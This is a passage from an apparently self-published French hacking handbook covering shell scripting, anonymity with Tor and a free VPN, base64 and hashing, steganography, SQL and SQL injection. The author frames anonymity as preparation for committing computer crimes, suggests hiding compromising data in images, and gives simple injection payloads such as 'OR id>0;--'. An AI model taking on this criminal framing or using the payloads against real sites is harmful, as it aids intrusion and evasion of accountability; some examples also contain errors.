votre victime. Bien qu’il existe de nombreux langages de programmation, celui
qui restera le plus pratique quand vous travaillez sur Linux, c’est Shell.
Il s’agit de l’ensemble des commandes agrémentées de quelques instructions
logiques. Ce langage est donc disponible, quelle que soit la machine sur laquelle
vous travaillez (sauf celle sur Windows).
Explorons-le !

I. Les Variables
Pour déclarer une variable, rien de plus simple :

$ x=3

Pour afficher la valeur de la variable :

$ echo $x

On en tire deux règles simples :


α Une variable se déclare en tapant son nom, suivi du symbole = et d’une
valeur (nombre, chaîne de caractère, etc.).
α Pour accéder à la valeur d’une variable, il suffit de rajouter $ devant son
nom.
Vous pouvez également mettre le résultat d’une commande dans une variable en
utilisant ce type de guillemet `` (en dessous du 7 sur un clavier AZERTY), ex :

$ x=`tail -n 1 fichier.txt`

179
x aura alors pour valeur une chaîne de caractère correspondant à la dernière ligne
de fichier.txt

II. Les opérations mathématiques de base


Pour réaliser une opération, il faut ajouter le mot-clef let devant :

$ let x=’3+3’

$ echo $x
6

On peut également additionner les valeurs des variables :

$ x=3
$ y=2
$ let z="$x+$y"
$ echo $z
5

! Pour ce genre d’action, vous serez obligé d’utiliser le guillemet anglais (").

Les autres opérations viennent donc logiquement sous cette forme :

α La soustraction :

$ let z="$x-$y"
$ echo $z
1

α La multiplication :

$ let z="$x*$y"
$ echo $z
6

α La division :
La division ne prendra que la partie entière du quotient.

180
$ let z="$x/$y"
$ echo $z
1

α Le modulo :
Vous n’avez peut-être jamais vu cette opération en mathématiques (c’est que
vous avez échappé au cours d’arithmétique, la chance), elle correspond au reste
d’une division euclidienne.

$ let z="$x*$y"
$ echo $z
1

III. Les conditions


Les conditions vous permettront de commencer à faire des actions logiques. Elles
se présentent sous cette forme :
α Si la condition est vraie
⇒ Alors faire…
α Sinon Si deuxième condition est vraie
⇒ Alors faire…
α Sinon Si troisième condition est vraie
α …
α Sinon
⇒ Faire…
Bien sûr, la condition de base n’est pas aussi développée et complète que ça, on
se contenterait alors d’un maigre bloc Si condition vraie → Faire.
La condition s’exprime ainsi en shell :

if [ condition ]
then
faire…
fi

181
Je l’ai exprimé sur plusieurs lignes, mais vous pouvez également le faire en une
seule instruction comme ceci :

$ if [ condition ]; then faire…; fi

La première écriture convient mieux au fichier et la deuxième à la ligne de


commande.
Notez bien la présence d’espace entre les crochets et la condition, ils sont
absolument nécessaires, sans quoi bash vous retournera une erreur.
Voici le tableau regroupant les différentes opérations logiques :

a == b a est égale à b
a != b a n’est pas égale à b
a -lt b a est plus petit que b
a -gt b a est plus grand que b
a && b Les propositions a et b sont vraies
a || b La condition a ou la condition b est vraie

La représentation d’une condition en bash devient donc, par exemple :

x=3
y=2
if [ $x -gt $y ]
then
echo “x est supérieur à y”
fi

Elle peut se traduire en français par : « si x est plus grand que y, alors dire “x est
supérieur à y”. »
Pour utiliser les opérateurs autres opérateurs (et / ou), voici un deuxième
exemple :

x=3
y=2
if [ $x -gt $y ] || [ $x == $y ]
then
echo “x est supérieur ou égale à y”
fi

182
Ce qui peut se traduire par : « si x est plus grand OU égale à y, alors dire “x est
supérieur ou égale à y”. »
Pour rappelle, vous pouvez exprimer une condition en une seule ligne, ce qui
donnerait pour le deuxième exemple :

$ x=3;y=2;if [ $x -gt $y ] || [ $x == $y ];then echo “x est


supérieur ou égale à y”;fi

IV. Écrire son code dans un fichier


Depuis tout à l’heure, je vous présente deux manières de coder en shell (bash) car
vous n’êtes actuellement pas en mesure de faire un fichier contenant ces bouts
de code pouvant s’exécuter. Laissez-moi donc vous montrer comment faire en
reprenant un des morceaux de code écrit plus haut :

#!/bin/bash
x=3
y=2
if [ $x -gt $y ] || [ $x == $y ]
then
echo “x est supérieur ou égale à y”
fi

Enregistrez ce morceau de code dans un fichier que vous noterez test.sh, puis
rendez le exécutable avec chmod. Lancez le en ajoutant ./ devant et le tour est
joué. Vous devinerez aisément les deux règles qui découle de cet exemple :

α Un fichier shell porte l’extension .sh


α Il faut mettre « #!/bin/bash » au début du fichier pour dire à l’ordinateur
quel interpréteur de commande va être utilisé
Vous êtes donc prêt pour écrire de grands codes en shell !

V. Les boucles
Les boucles sont juste des conditions qui se répètent tant qu’elles se trouvent être
vraies. Une fois fausses, les boucles s’arrêtent. Avec shell, le mot-clef pour faire
une boucle est « while », suivi de « do » et elle se finit par « done »

183
Ce qui donne :

while [ condition ]
do
fait…
done

Par exemple, on veut afficher 5 fois le même message à l’écran :

x=0
while [ x -lt 5 ]
do
echo “Mon message”
let x=”$x+1”
done

! N’oubliez pas d’incrémenter vos variables, vous vous retrouveriez dans une
boucle infinie si ce n’était pas le cas.

Ceci étant dit, vous avez dès à présent de quoi faire des scripts assez pratique,
pour une utilisation personnelle ou pour s’en servir sur la machine d’un autre. Je
ne peux qu’être assez exhaustif ici malheureusement, du fait de mes faibles
connaissances en la matière et de par mon incapacité à résumé l’ensemble des
notions à voir sur ce sujet.

Escalade de privilège

Garder le contrôle

184
Se sécuriser et effacer ses traces

Se rendre anonyme sur Internet

Lorsque l’on sait que l’on va commettre un délit ou un crime concernant la


sécurité informatique, il vaut mieux faire en sorte que personne ne nous retrouve (ou
alors ne rien faire qui serait pénalement répréhensible). Pour se faire, il existe plusieurs
solutions selon la situation dans laquelle vous vous trouvez.

Il faut préciser également qu'il est strictement impossible d'être totalement


anonyme. Si l'erreur ne vient pas de votre machine, c'est de vous qu'il s'agit. Soyez
donc vigilant à ne laisser AUCUNES informations derrière vous ou à effacer vos traces
si vous en aviez laissé.

I. Être anonyme avec Tor


Il est recommandé dans un premier temps d'installer le navigateur, ceci ne vous
aidera pas à effacer votre passage, mais au moins vous aurez la possibilité de naviguer
sur le web en toute tranquillité : https://www.torproject.org/download/

Je ne rentrerai pas en détail sur le fonctionnement de Tor, mais il faut juste


savoir qu'il fonctionne un peu comme un VPN ou un Proxy, à la différence que vos
données sont chiffrées 3 fois. C'est le principe de l’ognon, plusieurs couches le
composent, comme votre paquet lorsque vous utilisez le navigateur Tor.

Attention : Le navigateur n'est en aucun cas le même programme que Tor. Il faudra
donc l'installer :

# apt install tor

Puis pour exécuter une commande sur ce réseau :

$ torify [commande]

Il faudra la taper pour CHAQUE commande, sans ce mot-clef, l'application ne se


lancera pas avec Tor.

185
Par exemple :
À l'aide de la commande curl, je vais visualiser mon IP publique ; à gauche, sans Tor, à
droite, avec Tor :

$ curl ifconfig.me $ torify curl ifconfig.me


176.155.X.X 185.220.102.251

On remarquera que mon IP a changé. Malheureusement, le réseau Tor n'est pas assez
sûr car certains des relais que vous pourriez utiliser sont possiblement malveillants. Il
va donc nous falloir ajouter une couche en plus avec un VPN.

II. Se masquer avec un VPN


Rien ne vous empêche de choisir une solution payante en fonction de vos besoins, mais
ce guide supposera que vous êtes quelqu'un qui n'a pas envie de débourser un centime
dans cette affaire (je vous comprends, le prolo dream est quelque chose de
formidable).

On aura besoin pour cela du paquet openvpn. Il est normalement déjà installé, mais si
ce n'est pas le cas, vous pouvez le télécharger depuis les sources.

Ensuite, rendez-vous sur https://www.vpnbook.com/freevpn.


Dans la partie Free OpenVPN, prenez le Bundle que vous souhaitez (j'ai pris le FR1).
Ne fermez pas la page, nous en aurons besoin plus tard.

Décompressez l'archive (commande : unzip [nomDuFichier]), puis tapez :

# openvpn [nomDuFichier]

186
La Cryptographie
Nous rentrons ici dans un chapitre bien compliqué, âme sensible d’abstenir.
Commençons par quelques définitions afin de mettre en avant quelques termes
récurrents de ce chapitre :
α Chiffrer : rendre inintelligible ses données à l’aide d’une clef de chiffrement.
α Déchiffrer : rendre intelligible des données chiffrées à l’aide de la même clef
de chiffrement qui a permis de les mettre dans cet état.
α Décrypter : déchiffrer un message sans posséder la clef de chiffrement, il
s’agit alors d’essayer de trouver cette dernière.

On voit qu’à partir de nos définitions, le terme crypter n’existe simplement pas et
devient totalement illogique. Quel genre d’algorithme pour chiffrer des données à
l’aide d’une clef sans la connaître au préalable, c’est un non-sens.

I. Quelques algorithmes de chiffrement


Si vous avez déjà lu la plupart des chapitres de cet ouvrage, eh bien d’abord :
Bravo ! Et ensuite, vous avez déjà rencontré un de ces algorithmes, dans la partie
sur Metasploit.
Je parle de base64 (et indirectement de sa variante base32), qui sont des
protocoles d’encodage plutôt que de chiffrement, mais qui vont me servir à
illustrer mon propos ici.
Pour chiffrer quelque chose en base64 :

$ echo “message” | base64

Pour déchiffrer le message :

$ echo “message chiffré” | base64 -d

On voit bien qu’avec n’importe quel message que nous rentrons, il est très facile
de retrouver le texte original à partir du chiffré.

187
Décrivons le fonctionnement de base64 :
Tout d’abord, on décompose le message texte en binaire à partir d’une table
ASCII. On prend ensuite le message binaire formé pour ne former qu’une longue
chaîne de 0 et de 1. On vient ensuite découper le message en paquet de 6 bits
auquel on associe une valeur à partir d’une autre table. Le nom base64 vient alors
du fait que ces nouvelles valeurs binaires ne peuvent prendre que 64 valeurs
différentes.

II. Quelques fonctions de Hashage


Les fonctions de hashage sont différentes des algorithmes de chiffrement
classiques. Le but de ces fonctions est de pouvoir hasher un message, mais que
l’inverse ne soit pas possible.

Si vous n’arrivez pas à vous représentez ce que peut être le hashage, imaginez
une fonction f qui à un mot associe le nombre de lettres. On a alors :
f (Salut )=5 ou f ( France)=6 ou encore f (Maurice)=7
On peut très facilement obtenir le nombre de lettre en partant d’un antécédent,
mais si je vous donnais une image, comme 6 par exemple, arriveriez-vous à
retrouver le mot France. Alors, certes, peut-être y arriveriez-vous, mais qu-est ce
qui vous aurez empêché de me répondre Patrie.
On se rend compte qu’il y a même énormément de mots qui correspondent à
notre attente, cela nous permet de déduire que notre fonction n’est pas très
performante, car si un algorithme ne comparait que les hashs (résultat d’une
fonction de hashage), on pourrait alors lui fournir beaucoup de mots ayant le
même nombre de lettres, sans pour autant donner le mot attendu.
On parle alors d’efficacité de la fonction, c’est-à-dire la probabilité d’obtenir une
collision (deux antécédents ayant le même hash). Plus cette probabilité est haute,
plus l’efficacité est faible.

188
Heureusement, les informaticiens ont mis au point des fonctions de hashage bien
plus robustes que ça, vous en avez même déjà exploité dans le chapitre sur le
BruteForce.
Les plus connus sont MD5 et autres variantes ainsi que SHA256 et ses similaires.
Pour les utiliser :
$ echo “message” | md5sum
Et :
$ echo “message” | sha256sum

Le résultat obtenu ne peut absolument pas être repassé dans la fonction afin
d’obtenir le message de base. Vous pouvez essayer, vous n’y arriverez pas !

189
La Stéganographie
La stéganographie, ce sont toutes les techniques utilisées pour cacher une
information et la transmettre sans la rendre incompréhensible pour qui la reçoit.
Elle est différente de la cryptographie qui cherche impérativement à brouiller les
pistes de sorte que personne ne puisse lire le message.

Parmi les techniques les plus utilisées figure l’information cachée dans une
image. C’est la plus simple, la plus pratique et surtout, la plus poétique.

I. Avec une archive

L’une des méthodes les plus simples et requérant le moins de moyens est
sans aucuns doutes celle-ci. Elle consiste à cacher une archive (zip, rar, tar) dans
une image, ce qui permet de stocker une grande quantité d’informations dans un
seul endroit (très pratique si vous aviez à cacher de nombreuses informations
compromettantes).

Tout d’abord munissez-vous d’une image et de vos fichiers :

Puis placez les fichiers que vous voulez cacher dans un dossier. Compressez-le
ensuite :

190
Petit rappel sur les commandes :

zip -r [archive] [dossier] => créer une archive zip


unzip [archive] => décompresse une archive zip

Une fois fait, il ne reste plus qu’à placer l’archive dans l’image. Les images
sont encodées d’une telle manière qu’ajouter des données à la fin de celle-ci ne
pose aucunement problème. Il suffira donc de faire :

cat Vladimir_Putin.jpg dossier.zip > vlad2.jpg

On remarque que l’image est restée intacte malgré la présence de notre archive
en son sein.

Pour récupérer les données, il n’y aura rien de plus simple :

$ unzip Vlad2.jpg

N’oubliez pas de supprimer vos données (pas l’image) après les avoir cachées
dans l’image si vous désirez que personne ne les retrouve en dehors de l’image.

191
II. Plus de méthodes

Il existe bien sûr pléthore de manières de faire en la matière. Je vais vous


lister ici les plus connus afin que vous puissiez être performants dans la
reconnaissance et le déchiffrage du message !

→ Le montage photo

C’est un peu la technique du pauvre mais qui fait toujours son petit effet
lors d’un jeu de piste. Il suffit juste de cacher le message directement dans la
photo par divers moyen.

Un message est caché dans cette image, pour le retrouver, il suffit de jouer
un peu avec un éditeur photo comme Photoshop, ou Gimp si vous êtes un prolo
comme moi :

192
→ Avec le logiciel Outguess

L’image ci-dessus provient d’un célèbre jeu de piste d’Internet, cicada3301. A


cette étape de la manche, les joueurs sans aucunes indications devaient extraire
un message de cette image en utilisant le logiciel de stéganographie OutGuess, la
phrase formulée d’une manière bien particulière y faisait d’ailleurs allusion.

Installer outguess :

# apt install outguess

Pour cacher vos données, rien de plus simple. Écrivez-les à l’intérieur d’un fichier
texte, puis tapez la commande :

$ outguess -d [fichier_texte] [entree.jpg] [sortie.jpg]

Si vous n’avez pas d’images jpg, vous pouvez convertir votre image avec la
commande convert du paquet imagemagick :

$ convert photo.png photo.jpg

Pour retrouver vos données, tapez :

$ outguess -r [entree.jpg] [sortie.txt]

Il est évident que la manière de faire n’est pas très sécurisée, c’est pour ça que
Outguess rajoute la possibilité de rentrer un mot de passe pour cacher ou
retrouver ses données. Utilisez le paramètre -k :

$ outguess -k “pass” -d [fichier_texte] [entree.jpg] [sortie.jpg]

Ce qui donne pour la récupération :

$ outguess -k “pass” -r [entree.jpg] [sortie.txt]

193
Programmation
Cette partie sur la programmation n’est pas du tout obligatoire. Aucune personne
travaillant dans la sécurité informatique s’est vue obligé d’apprendre tel ou tel
langage, en revanche, en maîtriser un ou deux ne peut que faire du bien. Avec les
trois langages que l’on vous propose, vous serez capable d’apprendre :
α Les bases de la programmation et de l’algorithmie avec Python afin
d’automatiser des scripts sur votre ordinateur.
α L’utilisation des bases de données, leur sécurisation et leur exploitation
avec SQL (suite du chapitre sur sqlmap).
α La programmation avancée, l’utilisation de la mémoire et du matériel avec
le langage C, ce qui vous permettra à la fin de fabriquer des virus toujours
plus puissants.
Afin de vous entraîner, des bases de données vous seront données afin de manier
SQL et des défis de programmation allant des choses les plus basiques aux
compétences les plus complexes vous seront proposés.

194
Bases de données et SQL

Dans cette partie, nous resterons sommaires sur certains détails concernant les
bases de données, car nous ne sommes pas là pour faire du développement
informatique, et nous détaillerons plus amplement les parties concernant la
sécurité.

I. Les bases de données


Les bases de données (BDD) sont un peu comme des fichiers CSV (fichiers Excel /
LibreOffice Calc) à la différence que leurs fichiers ne sont pas consultables avec
un simple éditeur de texte. Il faut utiliser ce qu’on appelle un SGBD (Système de
gestion de base de données), un logiciel qui gérera notamment la possibilité
d’écrire ou de lire des données, les permissions des utilisateurs sur la BDD ou
encore les conflits entre plusieurs écritures simultanées.
Il existe plusieurs types de base de données, les relationnelles et les non
relationnelles (la plus courante dans ce dernier cas étant noSQL [not only SQL]).
Le genre le plus utilisé est la relationnelle, et, à moins que vous ne désiriez vous
en prendre à un géant du web ou à un gros jeu de données issu su monde de la
Big Data, vous ne rencontrerez que ce type de base de données.
Quand je parlais de fichier CSV tout à l’heure, l’expression n’était pas très abusée,
puisque quand on jette un œil rapidement au fonctionnement structurel des bases
, on se rend compte que presque rien ne change par apport à un fichier CSV. Par
exemple, prenons la feuille LibreOffice Calc suivante (j’ai pas d’argent pour
acheter une licence Microsoft Office :/) :

Admettons que cela soit la représentation d’une base de données d’un site
lambda où les utilisateurs possèdent un compte pour s’authentifier. Eh bien,
premièrement nous remarquons que les mots de passe ne sont pas parmi les plus

195
sécurisés, et, deuxièmement, le résultat sur un logiciel comme DB browser for
sqlite (SGBD présent sur toutes les plateformes) sera significativement le même :

Ce qui va rendre la chose plus intéressante par apport à un fichier CSV, c’est que,
comme leur nom l’indique, ces bases de données sont en relations, c’est-à-dire
que les données de l’une peuvent être accolées aux données de l’autre à l’aide de
ce que l’on appelle une jointure.
De là, deux notions apparaissent :

α Les clefs primaires : colonne de la feuille où la valeur est unique à chaque


ligne. Elle permet d’identifier indépendamment des autres les éléments.
α Les clefs étrangères : colonne de la feuille où les valeurs, sont les mêmes
que dans une autre table. Cela permet de fusionner les tables sur cette
colonne lors d’une jointure.
D’ailleurs, en abordant un peu le vocabulaire, on pourra donner d’autres éléments
de langage :

α Une table : l’équivalent d’une feuille sur LibreOffice Calc. C’est l’endroit où
sont inscrites et ordonnées toutes les données.
α Un attribut : il s’agit d’une colonne de la table. Par exemple, l’attribut
utilisateur a pour valeur bob, alice, root, jean, jacky.
α Une ligne : on l’appelle aussi entité type, il s’agit ni plus ni moins d’une
ligne de la table. Par exemple, la ligne 2 contient les informations : 2, alice,
soleil.

Pour mettre en évidence le rôle de la table, ses colonnes et ses relations avec
d’autres tables, on va s’aider d’un schéma. Par exemple, gardons notre table
précédente, que nous nommerons connexion, et créons-en une autre nommée

196
infos, qui reprendra le mail et l’adresse des utilisateurs. Une représentation
correcte de ces deux tables seraient :

connexion infos
id int id int
utilisateur text mail text
mdp text adresse text

Les mots int out text font références au type de la colonne, c’est-à-dire au genre
d’informations qui y seront rentrées, int faisant écho au mot anglais integrer,
voulant dire nombre, et text, à une chaîne de caractère. Vous pourrez rencontrer
un dernier type, plus rare mais encore très utilisé, Varchar, qui représente une
chaîne de caractère limité à une certaine longueur.
Dans le cas présent, on remarquera très facilement que id dans infos est à la fois
clef primaire et étrangère de la table, car ses valeurs seront uniques (chaque
utilisateur ne peut avoir qu’une adresse et adresse mail) et sa valeur fait, à
chaque ligne, directement écho à l’id de connexion.
Maintenant que les bases de données vous ont été présentées, passons à leur
mise en place.

II. Le langage SQL

Utilisons le logiciel DB browser for sqlite. Pour l’installer, vous connaissez la


rengaine :

# apt install sqlitebrowser

Lancez le logiciel depuis votre interface graphique et créez une base de données
(bouton en haut à gauche), donnez-lui un nom quelconque. Lorsque la fenêtre
vous proposant de créer une table apparaît, fermez-la, nous utiliserons du code
pour créer nos tables, comme tout bon guerrier de l’information.
Notre laboratoire est dès à présent fonctionnel, nous allons pouvoir enfin utiliser
le langage SQL. Mais qu’est-ce que c’est ?
SQL, pour Structured Query Language (Langage de Requêtes Structurées) est un
langage informatique utilisé pour la modification et la gestion de BDD. Il n’est
vraiment pas du tout compliqué à apprendre et à appliquer et la plupart des mots-
clefs sont transparents avec l’anglais.

197
Commençons d’abord par créer une table. La structure est des plus simples même
si elle peut impressionner au début :

CREATE TABLE nom_table (


nom_colonne TYPE spécificités,
spécificité_de_la_table
);

Les spécificités sont tout à fait optionnelles, nous ne les utiliserons pas ici, car
notre but n’est pas de devenir des professionnels dans la création de tables, mais
plutôt dans la compréhension des mécanismes derrière l’utilisation des BDD.
Pour créer la table connexion, le code sera par exemple :

CREATE TABLE connexion (


id INT,
utilisateur TEXT,
mdp TEXT
);

Essayez de modifier le code pour créer la table infos, je vous mets le code juste
en dessous au cas où :

CREATE TABLE infos (


id INT,
adresse TEXT,
mail TEXT
);

Insérons maintenant les valeurs, copiez juste cette ligne, nous l’expliquerons plus
tard en détail :

INSERT INTO connexion(id, utilisateur, mdp)


VALUES(1, "bob", "1234"),(2, "alice", "soleil"),(3, "root",
"toor"),(4, "jean", "mdp123"),(5, "jacky", "pologne");

III. Sélection des données en SQL

Sélectionner des données en SQL permet de retrouver les données inscrites dans
la table, et de les trier en fonction de ce que l’on désire récupérer. Une requête de
base serait :

SELECT * FROM table;

198
Cette ligne va récupérer toutes les lignes de la table ‘table’, indépendamment de
leur valeur. Pour récupérer les valeurs de notre table, la ligne suivante est las plus
correcte :

SELECT * FROM connexion;

Je ne vous note pas les effets de la commande, vous pourrez très bien le retrouver
vous-même en essayant les codes qui vous sont présentés. La meilleure des
méthodes pour apprendre restant la pratique, je ne peux que vous encourager à
créer vos propres bases de données ou réutiliser celle que je vous offre.
Dans l’exemple donné, l’astérisque renvoie à la sélection de toutes les colonnes.
Cependant, il se peut que lors d’une requête, vous n’ayez besoin que de certaines
colonnes. Dans ce cas-là, il faudra spécifier le nom des attributs qu’il vous faudra
afficher :

SELECT utilisateur, mdp FROM connexion;

La ligne ci-dessus renverra le nom de tous les utilisateurs et leur mot de passe
respectif, mais n’affichera pas la colonne id, car son nom n’est pas spécifié.

Continuons à nous plonger dans le langage SQL en étudiant les comparaisons et


les opérateurs permettant de trier les colonnes. Le plus courant est le mot-clef
WHERE :

SELECT * FROM connexion


WHERE id=3;

Ces lignes (une commande SQL peut s’écrire sur plusieurs lignes, ce qui signale la
fin de la requête est le point-virgule final) sélectionneront toutes les informations
de la table où l’id est égal à 3 (ici, la ligne : 3, root, toor).
Le mot-clef WHERE permet donc de spécifier la valeur que doit prendre un attribut
dans une ligne pour que cette dernière soit renvoyée. On peut appliquer une
comparaison, non seulement sur des nombres, mais sur tout type de données :

SELECT * FROM connexion


WHERE utilisateur="root";

On n’est pas non plus obligé de n’avoir que des valeurs exactes :

SELECT * FROM connexion


WHERE id>=3;

199
On peut également tout à fait comparer plusieurs attributs dans une seule et
même requête. Par exemple, pour sélectionner les lignes qui contiennent les
attributs id OU utilisateur respectivement égal à 3 et jacky, on aura :
SELECT * FROM connexion
WHERE id=3 OR utilisateur="jacky";

Nous sommes en présence ici d’un OU inclusif, expression qui n’a rien à voir avec
les politiques de gauche radical du XXI e siècle, mais plutôt avec le fait qu’un des
deux éléments, ou les deux en même temps, doit être vrai, pour que la ligne soit
renvoyée. Pour n’avoir que les lignes ayant les deux conditions valides, on
utilisera le mot-clef AND :

SELECT * FROM connexion


WHERE id=3 AND utilisateur="jacky";

Dans le cas ci-dessus, la requête ne retournera aucune valeur puisque aucune


ligne ne possède l’attribut id à 3 ET la colonne utilisateur à ‘jacky’ en même
temps.
D’autres possibilités de comparaisons existent avec le mot-clef LIKE, qui permet
de voir si deux éléments se ressemblent sans être exactement pareils, ou si une
chaîne de caractères contient une suite de lettres nous intéressant.

IV. Insertion de données en SQL


Après avoir vu la sélection, il est temps d’ajouter des données à notre base de
donnée. La structure est, encore une fois, pas très complexe et plutôt logique :

INSERT INTO table(attribut1, attribut2, etc)


VALUES(valeur1, valeur2, etc);

Un exemple vaut parfois mieux qu’un long discours, alors, imaginons que nous
voulions ajouter la ligne 6, michel, lehcim, la commande serait la suivante :

INSERT INTO connexion(id, utilisateur, mdp)


VALUES(6, "michel", "lehcim");

Une insertion peut également se faire avec plusieurs valeurs à la fois :

INSERT INTO connexion(id, utilisateur, mdp)


VALUES(7, "pierre", "caillou"),(8, "titouan", "XxxMDPxxX");

Il n’y a pas grand-chose en plus à savoir à ce propos. Pour vous entraîner,


essayait de créer les lignes de la table infos. Je ne vous mets pas le code pour que

200
vous la fassiez vraiment, car les requêtes suivantes se baseront sur ce que vous
avez écrit…

V. Modification des données en SQL

Admettons que nous nous soyons trompés lors de la saisie d’une donnée, il est
toujours utile de pouvoir revenir sur les valeurs rentrées et de les modifier. SQL le
permet à l’aide du mot-clef UPDATE dont la structure est la suivante :

UPDATE table SET attribut=valeur;

Avant d’utiliser cette requête et de la modifier, il faut impérativement vérifier


qu’un outil de comparaison est utilisé, sinon vous risqueriez de changer toutes les
lignes de votre table avec la nouvelle valeur, ce qui n’est presque jamais un désir
véritable lors de l’exécution. Pour changer le mot de passe de Titouan, une
requête serait alors :

UPDATE connexion SET mdp="87654321"


WHERE utilisateur="titouan";

De la même manière, plusieurs colonnes peuvent être mises à jour au même


moment. Par exemple, on décide que les mots de passe de tous les utilisateurs
ayant un id strictement supérieur à 5 seront identiques et devront être mdp1234
et que leur nom d’utilisateur sera H4CK3D, eh bien c’est tout à fait possible et
voici la commande le permettant :

UPDATE connexion SET mdp="mdp1234", utilisateur="H4CK3D"


WHERE id>5

Passons à la suite avec les suppressions de données.

VI. Suppression des données en SQL


Pour supprimer des données en SQL, on utilise le mot-clef DELETE, suivi d’un
comparatif. Sans comparatif, vous allez supprimer définitivement toutes les
données de la table. La forme de requête est la suivante :

DELETE FROM table;

Par exemple, une commande pour supprimer la première de la table connexion :

201
DELETE FROM connexion
WHERE id=1;

C’est généralement la requête la moins utilisée en raison de sa dangerosité.


Beaucoup de développeurs ont déjà dû affronter la terrible épreuve de l’aveu
lorsqu’il s’agit de dire que la moitié de la table a disparu.

VII. Implémentation et sécurisation des requêtes


La plupart du temps, les requêtes que vous rencontrerez se feront par le biais du
PHP, il y a bien sûr des exceptions, mais la sécurisation des commandes SQL
restent la même.
L’injection SQL est la faille la plus courante est la plus pratique à exploiter avec ce
langage. Comme vous l’avez vu dans le chapitre concernant ce modèle d’attaque,
l’utilisation de sqlmap est la manière la plus efficace de parvenir à l’exploitation
de la machine ou de la base de données uniquement. Le but de ce chapitre était
avant tout de présenter SQL pour mieux le connaître et mieux le détourner.
Pour injecter du code SQL dans une requête, il faut d’abord repérer les différents
paramètres qui vont influer sur les attributs qui seront modifiés puis vérifier si le
développeur n’a pas sécurisé l’environnement.
Par exemple, sur une requête simple et basique qui récupérerait des données
dans une base :

SELECT * FROM table


WHERE id=$num;

La variable $num, qui possède à peu près une syntaxe issue du PHP, est supposée
être un nombre rentré par l’utilisateur. Alors si l’utilisateur rentre le chiffre 4, la
requête serait alors transformée en :

SELECT * FROM table


WHERE id=4;

Et si l’utilisateur cherchait à rentrer une chaîne de caractère, car le programme ne


l’empêcherait pas de le faire, SQL mettrait tout de même une barrière à cela en
renvoyant une erreur. Mais si à la place d’une chaîne de caractère solitaire
l’utilisateur se mettait à parfaire la requête pour la continuer et ainsi injecter son
code, eh bien sans protection, cela serait totalement possible :

202
SELECT * FROM table
WHERE id=4 OR id>0;

Ici, le pirate a injecté une condition supplémentaire lui permettant de récupérer


toute la table en plus de l’information qu’il devait avoir.
Dans les faits, l’explication de l’attaque n’est pas plus complexe que ça, mais
dans la pratique, certains cas amènent à une compréhension du SQL un peu plus
élevé. Cependant, ne vous inquiétez pas, sqlmap se débrouille bien tout seul pour
débusquer les failles, et il le fera même mieux que vous, mais cela ne nous
empêche pas d’étudier plus en détails ces failles pour ne pas être que de simples
exécutants, répétant en boucle le peu qu’ils savent.
Par exemple, si la requête était la suivante :

SELECT * FROM table


WHERE nom="$text";

Dans le cas présent, le pirate doit injecter un guillemet en premier lieu avant de
pouvoir ajouter son code, la requête se transformerait donc en :

SELECT * FROM table


WHERE nom="" OR nom LIKE "%admin";"

Le problème restant le dernier guillemet de la requête qui provoque une erreur. Il


faut donc utiliser une astuce permise par SQL, l’usage du commentaire. Cela peut
également se montrer pratique dans le cas où la commande se poursuit au-delà
du paramètre modifiable. Il suffit d’ajouter les caractères ;-- à la fin pour signifier
« clôture la requête et ignore la suite » :

SELECT * FROM table


WHERE nom="" OR nom LIKE "%admin";--"

Deuxième exemple avec du code supplémentaire :

SELECT * FROM table


WHERE id=4 OR id>0;-- AND NOT nom="root";

Ici, la partie AND NOT nom="root"; est tout simplement ignoré et notre requête
renvoie l’entièreté de la base de données.
Bien sûr, ce qui rend la tâche plus dure, c’est que les noms des tables et des
attributs sont inconnus à nos yeux et les récupérer est souvent un travail
fastidieux. C’est pourquoi l’utilisation d’outils comme sqlmap simplifie
grandement la vie ; Ils permettent l’automatisation et la vérification à grandes
échelles, là où il aurait fallu plusieurs dizaines d’heures de travail.
Cette partie sur le SQL est maintenant finie, vous en savez plus sur ce langage et
l’exploitation des failles liées à son utilisation.

203
L’informatique de bas niveau avec C

204
Informations sur l’ouvrage
Cet ouvrage est à sa version 1.0.
Pour me contacter : Th3D4rKThyM0t1Du78@protonmail.com

Ce qu’il faudrait ajouter


• Plus d’informations sur le shell
• Une vraie partie sur le réseau
• Un grand cours sur la cryptographie
• Une partie sur l’OSINT
• Une partie sur la mise en pratique des compétences
• Une partie sur l’ingénierie sociale
• Une partie présentation de logiciels utiles (la partie pour les script kiddie)
• Votre contribution :)

205

Vous aimerez peut-être aussi